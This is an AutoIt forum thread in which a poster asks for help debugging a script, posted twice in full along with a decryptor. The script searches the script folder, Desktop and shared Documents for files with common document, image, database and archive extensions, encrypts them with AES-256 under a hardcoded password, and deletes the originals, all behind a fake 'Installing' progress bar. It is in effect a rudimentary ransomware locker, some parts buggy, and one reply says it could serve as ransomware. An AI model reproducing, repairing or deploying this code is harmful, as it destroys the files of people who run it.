Matooshak

ERROR : Subscript used on non-accessible variable.

5 posts in this topic

#1 ·  Posted

I have been trying to make a script that encrypt files in the folder that its in and also the subfolders. But whenever im running the script, this error is showing up

"Line 4507 (File "C:\\Users\USER\Desktop\DESKTOPDOCS\foldenc.exe" : Error : Subscript used on non-accessible variable."

However, the files in the subfolder are getting encrypted, just the files in the current script directory are not. The same is happening when i am decrypting them. Please help! 

PS: Im new to autoit..

ENCRYPTION CODE :  folderenc.au3

DECRYPTION CODE : folddec.au3

Share this post


Link to post
Share on other sites



#2 ·  Posted

Just now, Matooshak said:

I have been trying to make a script that encrypt files in the folder that its in and also the subfolders. But whenever im running the script, this error is showing up

"Line 4507 (File "C:\\Users\USER\Desktop\DESKTOPDOCS\foldenc.exe" : Error : Subscript used on non-accessible variable."

However, the files in the subfolder are getting encrypted, just the files in the current script directory are not. The same is happening when i am decrypting them. Please help! 

PS: Im new to autoit..

ENCRYPTION CODE : 

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.14.2
 Author: Shaurya Kapoor

 Script Function:
    Encrypts files in folders and sub-folders.

#ce ----------------------------------------------------------------------------

; Script Start -


#include <ComboConstants.au3>
#include <StaticConstants.au3>
#include <Crypt.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
#include <StringConstants.au3>
#include <file.au3>
#include <ButtonConstants.au3>
#include <WindowsConstants.au3>

Global $extension[29] = ["txt", "doc", "docx", "xls", "lsx", "ppt", "ptx", "jpg", "png", "csv", "sql", "php", "asp", "xml", "psd" , "zip", "mp4", "mp3", "gif", "rar", "csv", "htm", "tml", "pdf", "xlr", "sql", ".db", "tls", "py"]

Func encrypt($en_files,$path)


    For $i = 1 To $en_files[0]

        ConsoleWrite($en_files[$i])
        $ext = StringRight($en_files[$i],3)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $valid = _ArraySearch($extension,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = -1
     If Not($valid = $no) Then
            $f_path = $path & "\" & $en_files[$i]
            $rc  = _Crypt_EncryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
            If $rc Then
                ;MsgBox($MB_SYSTEMMODAL, "Success", $f_path)
                FileDelete($f_path)
            Else
                ConsoleWrite("Error: " & @error & @CRLF)
            EndIf
    Else
            ConsoleWrite("not valid ext  ")
    EndIf
    Next

EndFunc



Func _RecFileFinder($sPath, $sFunction, $sInclude_List = "*", $sExclude_List = "", $fRecur = 0)

    Local $asFolderList[3] = [1], $sInclude_List_Mask, $sExclude_List_Mask
    Local $sCurrentPath, $hSearch, $sReturnPath = "", $sName, $fFolder

    ; Check valid path
    If Not FileExists($sPath) Then Return SetError(1, 1, "")
    ; Ensure trailing \
    If StringRight($sPath, 1) <> "\" Then $sPath = $sPath & "\"
    ; Add path to folder list
    $asFolderList[1] = $sPath

    ; Determine Filter mask for SRE check
    If StringRegExp($sInclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 2, "") ; Check for invalid characters
 $sInclude_List = StringReplace(StringStripWS(StringRegExpReplace($sInclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap :/|
 $sInclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern

    ; Determine Exclude mask for SRE check
    If $sExclude_List = "" Then
    $sExclude_List_Mask = ":" ; Set unmatchable mask
    Else
    If StringRegExp($sExclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 3, "") ; Check for invalid characters
 $sExclude_List = StringReplace(StringStripWS(StringRegExpReplace($sExclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap ;/|
 $sExclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern
    EndIf

    ; Verify other parameter values
    If Not ($fRecur = 0 Or $fRecur = 1) Then Return SetError(1, 4, "")

    ; Search in listed Folders
    While $asFolderList[0] > 0

    ; Set path to search
    $sCurrentPath = $asFolderList[$asFolderList[0]]
    ; Reduce folder array count
    $asFolderList[0] -= 1
    ; Get search handle
    $hSearch = FileFindFirstFile($sCurrentPath & "*")
    ; If folder empty move to next in list
    If $hSearch = -1 Then ContinueLoop

    ; Search folder
    While 1
    $sName = FileFindNextFile($hSearch)
    ; Check for end of folder
    If @error Then ExitLoop
    ; Check for subfolder - @extended set in 3.3.1.1 +
    $fFolder = @extended
    ;$fFolder = StringInStr(FileGetAttrib($sCurrentPath & $sName), "D") ; pre 3.3.1.1

    ; If recursive search, add subfolder to folder list
    If $fRecur And $fFolder Then
    ; Increase folder array count
    $asFolderList[0] += 1
    ; Double folder array size if too small (fewer ReDim needed)
    If UBound($asFolderList) <= $asFolderList[0] + 1 Then ReDim $asFolderList[UBound($asFolderList) * 2]
    ; Add subfolder to list
    $asFolderList[$asFolderList[0]] = $sCurrentPath & $sName & "\"
    Call($sFunction, $sCurrentPath & $sName, 1)
    EndIf

    ; Check file/folder type against required return value and file/folder name against Include/Exclude masks
    If Not $fFolder And StringRegExp($sName, $sInclude_List_Mask) And Not StringRegExp($sName, $sExclude_List_Mask) Then

    ;This is where you can do what you want with the found files
    Call($sFunction, $sCurrentPath & $sName, 0)

    EndIf
    WEnd

    ; Close current search
    FileClose($hSearch)

    WEnd

EndFunc ;==>_RecFileFinder

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Sample1", 316, 242, 192, 124)
$Button1 = GUICtrlCreateButton("Encrypt", 112, 64, 121, 25)

$Pic1 = GUICtrlCreatePic(@ScriptDir & "\ERhISrt.gif", 56, 48, 100, 100)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
_RecFileFinder(@ScriptDir & "\", "_Found", "*", "", 1)

Func _Found($Path, $IsFolder)
    Select
        Case $IsFolder
            $FolderPath = StringSplit($Path,@CRLF,1)
            For $i = 1 To $FolderPath[0]
            $FolderName = StringSplit($FolderPath[$i],"\",1)


            Next

        Case Else

    ConsoleWrite($Path & @CRLF)
    EndSelect
EndFunc

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $Button1
            Call("_Found")
            $en_files=_FileListToArray(@$FolderPath[$i])
            Call("encrypt",$en_files,$FolderPath[$i])


            ProgressOn("Installing", "Encrypting", "Working...")
            $en_files = _FileListToArray(@ScriptDir)

            For $i = 0 To 30
                ProgressSet($i)
                Sleep(5)
            Next
            ;MsgBox($MB_SYSTEMMODAL,"list",@ScriptDir)
            Call("encrypt",$en_files,@ScriptDir)

            For $i = 31 To 60
                ProgressSet($i)
                Sleep(5)
            Next

            ;MsgBox($MB_SYSTEMMODAL,"list",@DesktopDir)
            $en_files = _FileListToArray(@DesktopDir)
            Call("encrypt",$en_files,@DesktopDir)

            For $i = 61 To 90
                ProgressSet($i)
                Sleep(5)
            Next

            $en_files = _FileListToArray(@DocumentsCommonDir)
            Call("encrypt",$en_files,@DocumentsCommonDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@DocumentsCommonDir)

            For $i = 91 To 100
                ProgressSet($i)
                Sleep(5)
            Next



            ProgressSet(100, "Done!")
            Sleep(750)
            ProgressOff()




        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

DECRYPTION CODE : 

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.14.2
 Author:  Shaurya Kapoor

 Script Function:
    Decrypts files in folders and sub-folders.

#ce ----------------------------------------------------------------------------

; Script Start


#include <ComboConstants.au3>
#include <StaticConstants.au3>
#include <Crypt.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
#include <StringConstants.au3>
#include <file.au3>
#include <ButtonConstants.au3>
#include <WindowsConstants.au3>

Global $extension[29] = ["txt", "doc", "docx", "xls", "lsx", "ppt", "ptx", "jpg", "png", "csv", "sql", "php", "asp", "xml", "psd" , "zip", "mp4", "mp3", "gif", "rar", "csv", "htm", "tml", "pdf", "xlr", "sql", ".db", "tls", "py"]

Func encrypt($a_files,$path)


    For $i = 1 To $a_files[0]

        ConsoleWrite($a_files[$i])
        $ext = StringRight($a_files[$i],3)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $valid = _ArraySearch($extension,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = -1
     If Not($valid = $no) Then
            $f_path = $path & "\" & $a_files[$i]
            $rc  = _Crypt_EncryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
            If $rc Then
                ;MsgBox($MB_SYSTEMMODAL, "Success", $f_path)
                FileDelete($f_path)
            Else
                ConsoleWrite("Error: " & @error & @CRLF)
            EndIf
    Else
            ConsoleWrite("not valid ext  ")
    EndIf
    Next

EndFunc

Func decrypt($d_files,$path)



    For $i = 1 To $d_files[0]


        ConsoleWrite($d_files[$i])
        $ext = StringRight($d_files[$i],5)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $check = "crypt"
        $valid = StringCompare($check,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = 0
     If ($valid = $no) Then
        $f_path = $path & "\" & $d_files[$i]
        $rc  = _Crypt_DecryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
        If $rc Then
            ;MsgBox($MB_SYSTEMMODAL, "Success",$f_path)
            FileDelete($f_path)
            $c_name = $f_path & ".crypt"
            $name = StringTrimRight($c_name,12)

            FileMove($c_name,$name)
        Else
            ConsoleWrite("Error: " & @error & @CRLF)
        EndIf

     Else
        ConsoleWrite("no")
     EndIf
     Next

EndFunc

Func _RecFileFinder($sPath, $sFunction, $sInclude_List = "*", $sExclude_List = "", $fRecur = 0)

    Local $asFolderList[3] = [1], $sInclude_List_Mask, $sExclude_List_Mask
    Local $sCurrentPath, $hSearch, $sReturnPath = "", $sName, $fFolder

    ; Check valid path
    If Not FileExists($sPath) Then Return SetError(1, 1, "")
    ; Ensure trailing \
    If StringRight($sPath, 1) <> "\" Then $sPath = $sPath & "\"
    ; Add path to folder list
    $asFolderList[1] = $sPath

    ; Determine Filter mask for SRE check
    If StringRegExp($sInclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 2, "") ; Check for invalid characters
 $sInclude_List = StringReplace(StringStripWS(StringRegExpReplace($sInclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap :/|
 $sInclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern

    ; Determine Exclude mask for SRE check
    If $sExclude_List = "" Then
    $sExclude_List_Mask = ":" ; Set unmatchable mask
    Else
    If StringRegExp($sExclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 3, "") ; Check for invalid characters
 $sExclude_List = StringReplace(StringStripWS(StringRegExpReplace($sExclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap ;/|
 $sExclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern
    EndIf

    ; Verify other parameter values
    If Not ($fRecur = 0 Or $fRecur = 1) Then Return SetError(1, 4, "")

    ; Search in listed Folders
    While $asFolderList[0] > 0

    ; Set path to search
    $sCurrentPath = $asFolderList[$asFolderList[0]]
    ; Reduce folder array count
    $asFolderList[0] -= 1
    ; Get search handle
    $hSearch = FileFindFirstFile($sCurrentPath & "*")
    ; If folder empty move to next in list
    If $hSearch = -1 Then ContinueLoop

    ; Search folder
    While 1
    $sName = FileFindNextFile($hSearch)
    ; Check for end of folder
    If @error Then ExitLoop
    ; Check for subfolder - @extended set in 3.3.1.1 +
    $fFolder = @extended
    ;$fFolder = StringInStr(FileGetAttrib($sCurrentPath & $sName), "D") ; pre 3.3.1.1

    ; If recursive search, add subfolder to folder list
    If $fRecur And $fFolder Then
    ; Increase folder array count
    $asFolderList[0] += 1
    ; Double folder array size if too small (fewer ReDim needed)
    If UBound($asFolderList) <= $asFolderList[0] + 1 Then ReDim $asFolderList[UBound($asFolderList) * 2]
    ; Add subfolder to list
    $asFolderList[$asFolderList[0]] = $sCurrentPath & $sName & "\"
    Call($sFunction, $sCurrentPath & $sName, 1)
    EndIf

    ; Check file/folder type against required return value and file/folder name against Include/Exclude masks
    If Not $fFolder And StringRegExp($sName, $sInclude_List_Mask) And Not StringRegExp($sName, $sExclude_List_Mask) Then

    ;This is where you can do what you want with the found files
    Call($sFunction, $sCurrentPath & $sName, 0)

    EndIf
    WEnd

    ; Close current search
    FileClose($hSearch)

    WEnd

EndFunc ;==>_RecFileFinder

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Sample1", 316, 242, 192, 124)

$Button2 = GUICtrlCreateButton("Decrypt", 112, 112, 121, 25)
$Pic1 = GUICtrlCreatePic(@ScriptDir & "\ERhISrt.gif", 56, 48, 100, 100)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
_RecFileFinder(@ScriptDir & "\", "_Found", "*", "", 1)

Func _Found($Path, $IsFolder)
    Select
        Case $IsFolder
            $FolderPath = StringSplit($Path,@CRLF,1)
            For $i = 1 To $FolderPath[0]
            $FolderName = StringSplit($FolderPath[$i],"\",1)


            Next

        Case Else

    ConsoleWrite($Path & @CRLF)
    EndSelect
EndFunc

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg



        Case $Button2
            ProgressOn("Installing", "Decrypting", "Working...")

            $dec_files = _FileListToArray(@ScriptDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@ScriptDir)

            For $i = 0 To 30
                ProgressSet($i)
                Sleep(5)
            Next

            Call("decrypt",$dec_files,@ScriptDir)

            For $i = 31 To 60
                ProgressSet($i)
                Sleep(5)
            Next

            $e_files = _FileListToArray(@DesktopDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@DesktopDir)
            Call("decrypt",$e_files,@DesktopDir)

            For $i = 61 To 90
                ProgressSet($i)
                Sleep(5)
            Next

            $g_files = _FileListToArray(@DocumentsCommonDir)
            Call("decrypt",$g_files,@DocumentsCommonDir)

            For $i = 91 To 100
                ProgressSet($i)
                Sleep(5)
            Next

            ProgressSet(100, "Done!")
            Sleep(750)
            ProgressOff()

        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd
Just now, Matooshak said:

 

 

foldenc.au3

Share this post


Link to post
Share on other sites

#3 ·  Posted

15 minutes ago, Matooshak said:

I have been trying to make a script that encrypt files in the folder that its in and also the subfolders. But whenever im running the script, this error is showing up

"Line 4507 (File "C:\\Users\USER\Desktop\DESKTOPDOCS\foldenc.exe" : Error : Subscript used on non-accessible variable."

However, the files in the subfolder are getting encrypted, just the files in the current script directory are not. The same is happening when i am decrypting them. Please help! 

PS: Im new to autoit..

ENCRYPTION CODE : 

expand popup
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.14.2
 Author: Shaurya Kapoor

 Script Function:
    Encrypts files in folders and sub-folders.

#ce ----------------------------------------------------------------------------

; Script Start -


#include <ComboConstants.au3>
#include <StaticConstants.au3>
#include <Crypt.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
#include <StringConstants.au3>
#include <file.au3>
#include <ButtonConstants.au3>
#include <WindowsConstants.au3>

Global $extension[29] = ["txt", "doc", "docx", "xls", "lsx", "ppt", "ptx", "jpg", "png", "csv", "sql", "php", "asp", "xml", "psd" , "zip", "mp4", "mp3", "gif", "rar", "csv", "htm", "tml", "pdf", "xlr", "sql", ".db", "tls", "py"]

Func encrypt($en_files,$path)


    For $i = 1 To $en_files[0]

        ConsoleWrite($en_files[$i])
        $ext = StringRight($en_files[$i],3)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $valid = _ArraySearch($extension,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = -1
     If Not($valid = $no) Then
            $f_path = $path & "\" & $en_files[$i]
            $rc  = _Crypt_EncryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
            If $rc Then
                ;MsgBox($MB_SYSTEMMODAL, "Success", $f_path)
                FileDelete($f_path)
            Else
                ConsoleWrite("Error: " & @error & @CRLF)
            EndIf
    Else
            ConsoleWrite("not valid ext  ")
    EndIf
    Next

EndFunc



Func _RecFileFinder($sPath, $sFunction, $sInclude_List = "*", $sExclude_List = "", $fRecur = 0)

    Local $asFolderList[3] = [1], $sInclude_List_Mask, $sExclude_List_Mask
    Local $sCurrentPath, $hSearch, $sReturnPath = "", $sName, $fFolder

    ; Check valid path
    If Not FileExists($sPath) Then Return SetError(1, 1, "")
    ; Ensure trailing \
    If StringRight($sPath, 1) <> "\" Then $sPath = $sPath & "\"
    ; Add path to folder list
    $asFolderList[1] = $sPath

    ; Determine Filter mask for SRE check
    If StringRegExp($sInclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 2, "") ; Check for invalid characters
 $sInclude_List = StringReplace(StringStripWS(StringRegExpReplace($sInclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap :/|
 $sInclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern

    ; Determine Exclude mask for SRE check
    If $sExclude_List = "" Then
    $sExclude_List_Mask = ":" ; Set unmatchable mask
    Else
    If StringRegExp($sExclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 3, "") ; Check for invalid characters
 $sExclude_List = StringReplace(StringStripWS(StringRegExpReplace($sExclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap ;/|
 $sExclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern
    EndIf

    ; Verify other parameter values
    If Not ($fRecur = 0 Or $fRecur = 1) Then Return SetError(1, 4, "")

    ; Search in listed Folders
    While $asFolderList[0] > 0

    ; Set path to search
    $sCurrentPath = $asFolderList[$asFolderList[0]]
    ; Reduce folder array count
    $asFolderList[0] -= 1
    ; Get search handle
    $hSearch = FileFindFirstFile($sCurrentPath & "*")
    ; If folder empty move to next in list
    If $hSearch = -1 Then ContinueLoop

    ; Search folder
    While 1
    $sName = FileFindNextFile($hSearch)
    ; Check for end of folder
    If @error Then ExitLoop
    ; Check for subfolder - @extended set in 3.3.1.1 +
    $fFolder = @extended
    ;$fFolder = StringInStr(FileGetAttrib($sCurrentPath & $sName), "D") ; pre 3.3.1.1

    ; If recursive search, add subfolder to folder list
    If $fRecur And $fFolder Then
    ; Increase folder array count
    $asFolderList[0] += 1
    ; Double folder array size if too small (fewer ReDim needed)
    If UBound($asFolderList) <= $asFolderList[0] + 1 Then ReDim $asFolderList[UBound($asFolderList) * 2]
    ; Add subfolder to list
    $asFolderList[$asFolderList[0]] = $sCurrentPath & $sName & "\"
    Call($sFunction, $sCurrentPath & $sName, 1)
    EndIf

    ; Check file/folder type against required return value and file/folder name against Include/Exclude masks
    If Not $fFolder And StringRegExp($sName, $sInclude_List_Mask) And Not StringRegExp($sName, $sExclude_List_Mask) Then

    ;This is where you can do what you want with the found files
    Call($sFunction, $sCurrentPath & $sName, 0)

    EndIf
    WEnd

    ; Close current search
    FileClose($hSearch)

    WEnd

EndFunc ;==>_RecFileFinder

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Sample1", 316, 242, 192, 124)
$Button1 = GUICtrlCreateButton("Encrypt", 112, 64, 121, 25)

$Pic1 = GUICtrlCreatePic(@ScriptDir & "\ERhISrt.gif", 56, 48, 100, 100)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
_RecFileFinder(@ScriptDir & "\", "_Found", "*", "", 1)

Func _Found($Path, $IsFolder)
    Select
        Case $IsFolder
            $FolderPath = StringSplit($Path,@CRLF,1)
            For $i = 1 To $FolderPath[0]
            $FolderName = StringSplit($FolderPath[$i],"\",1)


            Next

        Case Else

    ConsoleWrite($Path & @CRLF)
    EndSelect
EndFunc

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $Button1
            Call("_Found")
            $en_files=_FileListToArray(@$FolderPath[$i])
            Call("encrypt",$en_files,$FolderPath[$i])


            ProgressOn("Installing", "Encrypting", "Working...")
            $en_files = _FileListToArray(@ScriptDir)

            For $i = 0 To 30
                ProgressSet($i)
                Sleep(5)
            Next
            ;MsgBox($MB_SYSTEMMODAL,"list",@ScriptDir)
            Call("encrypt",$en_files,@ScriptDir)

            For $i = 31 To 60
                ProgressSet($i)
                Sleep(5)
            Next

            ;MsgBox($MB_SYSTEMMODAL,"list",@DesktopDir)
            $en_files = _FileListToArray(@DesktopDir)
            Call("encrypt",$en_files,@DesktopDir)

            For $i = 61 To 90
                ProgressSet($i)
                Sleep(5)
            Next

            $en_files = _FileListToArray(@DocumentsCommonDir)
            Call("encrypt",$en_files,@DocumentsCommonDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@DocumentsCommonDir)

            For $i = 91 To 100
                ProgressSet($i)
                Sleep(5)
            Next



            ProgressSet(100, "Done!")
            Sleep(750)
            ProgressOff()




        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

DECRYPTION CODE : 

expand popup
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.14.2
 Author:  Shaurya Kapoor

 Script Function:
    Decrypts files in folders and sub-folders.

#ce ----------------------------------------------------------------------------

; Script Start


#include <ComboConstants.au3>
#include <StaticConstants.au3>
#include <Crypt.au3>
#include <GUIConstantsEx.au3>
#include <MsgBoxConstants.au3>
#include <StringConstants.au3>
#include <file.au3>
#include <ButtonConstants.au3>
#include <WindowsConstants.au3>

Global $extension[29] = ["txt", "doc", "docx", "xls", "lsx", "ppt", "ptx", "jpg", "png", "csv", "sql", "php", "asp", "xml", "psd" , "zip", "mp4", "mp3", "gif", "rar", "csv", "htm", "tml", "pdf", "xlr", "sql", ".db", "tls", "py"]

Func encrypt($a_files,$path)


    For $i = 1 To $a_files[0]

        ConsoleWrite($a_files[$i])
        $ext = StringRight($a_files[$i],3)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $valid = _ArraySearch($extension,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = -1
     If Not($valid = $no) Then
            $f_path = $path & "\" & $a_files[$i]
            $rc  = _Crypt_EncryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
            If $rc Then
                ;MsgBox($MB_SYSTEMMODAL, "Success", $f_path)
                FileDelete($f_path)
            Else
                ConsoleWrite("Error: " & @error & @CRLF)
            EndIf
    Else
            ConsoleWrite("not valid ext  ")
    EndIf
    Next

EndFunc

Func decrypt($d_files,$path)



    For $i = 1 To $d_files[0]


        ConsoleWrite($d_files[$i])
        $ext = StringRight($d_files[$i],5)
        ConsoleWrite($ext)
        ConsoleWrite("  ")
        $check = "crypt"
        $valid = StringCompare($check,$ext)
        ConsoleWrite($valid)
        ConsoleWrite("  ")
        $no = 0
     If ($valid = $no) Then
        $f_path = $path & "\" & $d_files[$i]
        $rc  = _Crypt_DecryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256)
        If $rc Then
            ;MsgBox($MB_SYSTEMMODAL, "Success",$f_path)
            FileDelete($f_path)
            $c_name = $f_path & ".crypt"
            $name = StringTrimRight($c_name,12)

            FileMove($c_name,$name)
        Else
            ConsoleWrite("Error: " & @error & @CRLF)
        EndIf

     Else
        ConsoleWrite("no")
     EndIf
     Next

EndFunc

Func _RecFileFinder($sPath, $sFunction, $sInclude_List = "*", $sExclude_List = "", $fRecur = 0)

    Local $asFolderList[3] = [1], $sInclude_List_Mask, $sExclude_List_Mask
    Local $sCurrentPath, $hSearch, $sReturnPath = "", $sName, $fFolder

    ; Check valid path
    If Not FileExists($sPath) Then Return SetError(1, 1, "")
    ; Ensure trailing \
    If StringRight($sPath, 1) <> "\" Then $sPath = $sPath & "\"
    ; Add path to folder list
    $asFolderList[1] = $sPath

    ; Determine Filter mask for SRE check
    If StringRegExp($sInclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 2, "") ; Check for invalid characters
 $sInclude_List = StringReplace(StringStripWS(StringRegExpReplace($sInclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap :/|
 $sInclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern

    ; Determine Exclude mask for SRE check
    If $sExclude_List = "" Then
    $sExclude_List_Mask = ":" ; Set unmatchable mask
    Else
    If StringRegExp($sExclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 3, "") ; Check for invalid characters
 $sExclude_List = StringReplace(StringStripWS(StringRegExpReplace($sExclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap ;/|
 $sExclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern
    EndIf

    ; Verify other parameter values
    If Not ($fRecur = 0 Or $fRecur = 1) Then Return SetError(1, 4, "")

    ; Search in listed Folders
    While $asFolderList[0] > 0

    ; Set path to search
    $sCurrentPath = $asFolderList[$asFolderList[0]]
    ; Reduce folder array count
    $asFolderList[0] -= 1
    ; Get search handle
    $hSearch = FileFindFirstFile($sCurrentPath & "*")
    ; If folder empty move to next in list
    If $hSearch = -1 Then ContinueLoop

    ; Search folder
    While 1
    $sName = FileFindNextFile($hSearch)
    ; Check for end of folder
    If @error Then ExitLoop
    ; Check for subfolder - @extended set in 3.3.1.1 +
    $fFolder = @extended
    ;$fFolder = StringInStr(FileGetAttrib($sCurrentPath & $sName), "D") ; pre 3.3.1.1

    ; If recursive search, add subfolder to folder list
    If $fRecur And $fFolder Then
    ; Increase folder array count
    $asFolderList[0] += 1
    ; Double folder array size if too small (fewer ReDim needed)
    If UBound($asFolderList) <= $asFolderList[0] + 1 Then ReDim $asFolderList[UBound($asFolderList) * 2]
    ; Add subfolder to list
    $asFolderList[$asFolderList[0]] = $sCurrentPath & $sName & "\"
    Call($sFunction, $sCurrentPath & $sName, 1)
    EndIf

    ; Check file/folder type against required return value and file/folder name against Include/Exclude masks
    If Not $fFolder And StringRegExp($sName, $sInclude_List_Mask) And Not StringRegExp($sName, $sExclude_List_Mask) Then

    ;This is where you can do what you want with the found files
    Call($sFunction, $sCurrentPath & $sName, 0)

    EndIf
    WEnd

    ; Close current search
    FileClose($hSearch)

    WEnd

EndFunc ;==>_RecFileFinder

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Sample1", 316, 242, 192, 124)

$Button2 = GUICtrlCreateButton("Decrypt", 112, 112, 121, 25)
$Pic1 = GUICtrlCreatePic(@ScriptDir & "\ERhISrt.gif", 56, 48, 100, 100)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
_RecFileFinder(@ScriptDir & "\", "_Found", "*", "", 1)

Func _Found($Path, $IsFolder)
    Select
        Case $IsFolder
            $FolderPath = StringSplit($Path,@CRLF,1)
            For $i = 1 To $FolderPath[0]
            $FolderName = StringSplit($FolderPath[$i],"\",1)


            Next

        Case Else

    ConsoleWrite($Path & @CRLF)
    EndSelect
EndFunc

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg



        Case $Button2
            ProgressOn("Installing", "Decrypting", "Working...")

            $dec_files = _FileListToArray(@ScriptDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@ScriptDir)

            For $i = 0 To 30
                ProgressSet($i)
                Sleep(5)
            Next

            Call("decrypt",$dec_files,@ScriptDir)

            For $i = 31 To 60
                ProgressSet($i)
                Sleep(5)
            Next

            $e_files = _FileListToArray(@DesktopDir)
            ;MsgBox($MB_SYSTEMMODAL,"list",@DesktopDir)
            Call("decrypt",$e_files,@DesktopDir)

            For $i = 61 To 90
                ProgressSet($i)
                Sleep(5)
            Next

            $g_files = _FileListToArray(@DocumentsCommonDir)
            Call("decrypt",$g_files,@DocumentsCommonDir)

            For $i = 91 To 100
                ProgressSet($i)
                Sleep(5)
            Next

            ProgressSet(100, "Done!")
            Sleep(750)
            ProgressOff()

        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

This looks like it could be used for ransomware

Edited by Subz

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now